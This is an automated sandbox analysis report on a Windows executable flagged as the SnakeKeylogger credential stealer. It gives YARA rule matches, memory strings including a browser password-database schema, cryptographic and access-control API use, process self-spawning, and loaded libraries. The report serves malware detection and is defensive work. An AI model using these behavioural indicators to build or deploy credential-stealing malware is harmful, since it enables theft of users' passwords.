Source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: kP8EgMorTr.exe PID: 7432, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_009F5CC4	0_2_009F5CC4
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_009FE124	0_2_009FE124
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_009F7093	0_2_009F7093
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_04BF8664	0_2_04BF8664
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_04BF8818	0_2_04BF8818
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_04BFF00F	0_2_04BFF00F
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_04BFF100	0_2_04BFF100
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_04BF8809	0_2_04BF8809
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0B688	0_2_06D0B688
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0E770	0_2_06D0E770
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D00CF8	0_2_06D00CF8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D051FC	0_2_06D051FC
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D06EE8	0_2_06D06EE8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0B678	0_2_06D0B678
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0AF91	0_2_06D0AF91
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0AFA0	0_2_06D0AFA0
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0E760	0_2_06D0E760
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0DBC0	0_2_06D0DBC0
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D051F5	0_2_06D051F5
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031C5362	3_2_031C5362
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CD2CB	3_2_031CD2CB
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031C7118	3_2_031C7118
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CC147	3_2_031CC147
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CA088	3_2_031CA088
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CC738	3_2_031CC738
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CD599	3_2_031CD599
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CC468	3_2_031CC468
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CCA08	3_2_031CCA08
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031C69A0	3_2_031C69A0
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CCFF8	3_2_031CCFF8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031C3E09	3_2_031C3E09
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CEC18	3_2_031CEC18
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CF7F1	3_2_031CF7F1
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031C3AB1	3_2_031C3AB1
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031C29EC	3_2_031C29EC
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CEC0B	3_2_031CEC0B
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_031CFC4F	3_2_031CFC4F
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E997B0	3_2_05E997B0
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E99ED8	3_2_05E99ED8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E95290	3_2_05E95290
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E98DF9	3_2_05E98DF9
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E99590	3_2_05E99590
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9ED70	3_2_05E9ED70
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9E4C0	3_2_05E9E4C0
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9E4BB	3_2_05E9E4BB
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9DC01	3_2_05E9DC01
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9DC10	3_2_05E9DC10
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9D7B8	3_2_05E9D7B8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9CF08	3_2_05E9CF08
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E99E71	3_2_05E99E71
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9F620	3_2_05E9F620
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E98E08	3_2_05E98E08
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9F610	3_2_05E9F610
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9F1C8	3_2_05E9F1C8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9F1C3	3_2_05E9F1C3
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E92970	3_2_05E92970
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9E908	3_2_05E9E908
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9E918	3_2_05E9E918
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9E068	3_2_05E9E068
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E90040	3_2_05E90040
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9E059	3_2_05E9E059
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9003F	3_2_05E9003F
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E91BA8	3_2_05E91BA8
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E91B97	3_2_05E91B97
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9D360	3_2_05E9D360
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E90B20	3_2_05E90B20
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E90B30	3_2_05E90B30
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E92288	3_2_05E92288
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E95280	3_2_05E95280
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9FA6A	3_2_05E9FA6A
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E9FA78	3_2_05E9FA78
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 3_2_05E92278	3_2_05E92278

Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000000.00000002.1248774151.000000000276F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000000.00000002.1246312545.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000000.00000002.1254420339.00000000052D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000000.00000000.1234820976.0000000000262000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGpGI.exeD vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000000.00000002.1255991907.0000000006D10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe, 00000003.00000002.3698209610.00000000011A7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs kP8EgMorTr.exe
Source: kP8EgMorTr.exe	Binary or memory string: OriginalFilenameGpGI.exeD vs kP8EgMorTr.exe

Source: kP8EgMorTr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: kP8EgMorTr.exe PID: 7432, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: kP8EgMorTr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.kP8EgMorTr.exe.52d0000.3.raw.unpack, DlRvq5yJkomY4LIf3S.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, -i.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, -i.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, -i.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, -i.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, rEpPJQV6URL37f8mXq.cs	Security API names: _0020.SetAccessControl
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, rEpPJQV6URL37f8mXq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, rEpPJQV6URL37f8mXq.cs	Security API names: _0020.AddAccessRule
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, rgGUGalHrgysDRf4jP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, rgGUGalHrgysDRf4jP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, rEpPJQV6URL37f8mXq.cs	Security API names: _0020.SetAccessControl
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, rEpPJQV6URL37f8mXq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, rEpPJQV6URL37f8mXq.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kP8EgMorTr.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Mutant created: NULL

Source: kP8EgMorTr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: kP8EgMorTr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003555000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003599000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003573000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003565000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000035A5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: kP8EgMorTr.exe	Virustotal: Detection: 36%
Source: kP8EgMorTr.exe	ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\kP8EgMorTr.exe "C:\Users\user\Desktop\kP8EgMorTr.exe"
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process created: C:\Users\user\Desktop\kP8EgMorTr.exe "C:\Users\user\Desktop\kP8EgMorTr.exe"
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process created: C:\Users\user\Desktop\kP8EgMorTr.exe "C:\Users\user\Desktop\kP8EgMorTr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: rasadhlp.dll	Jump to behavior
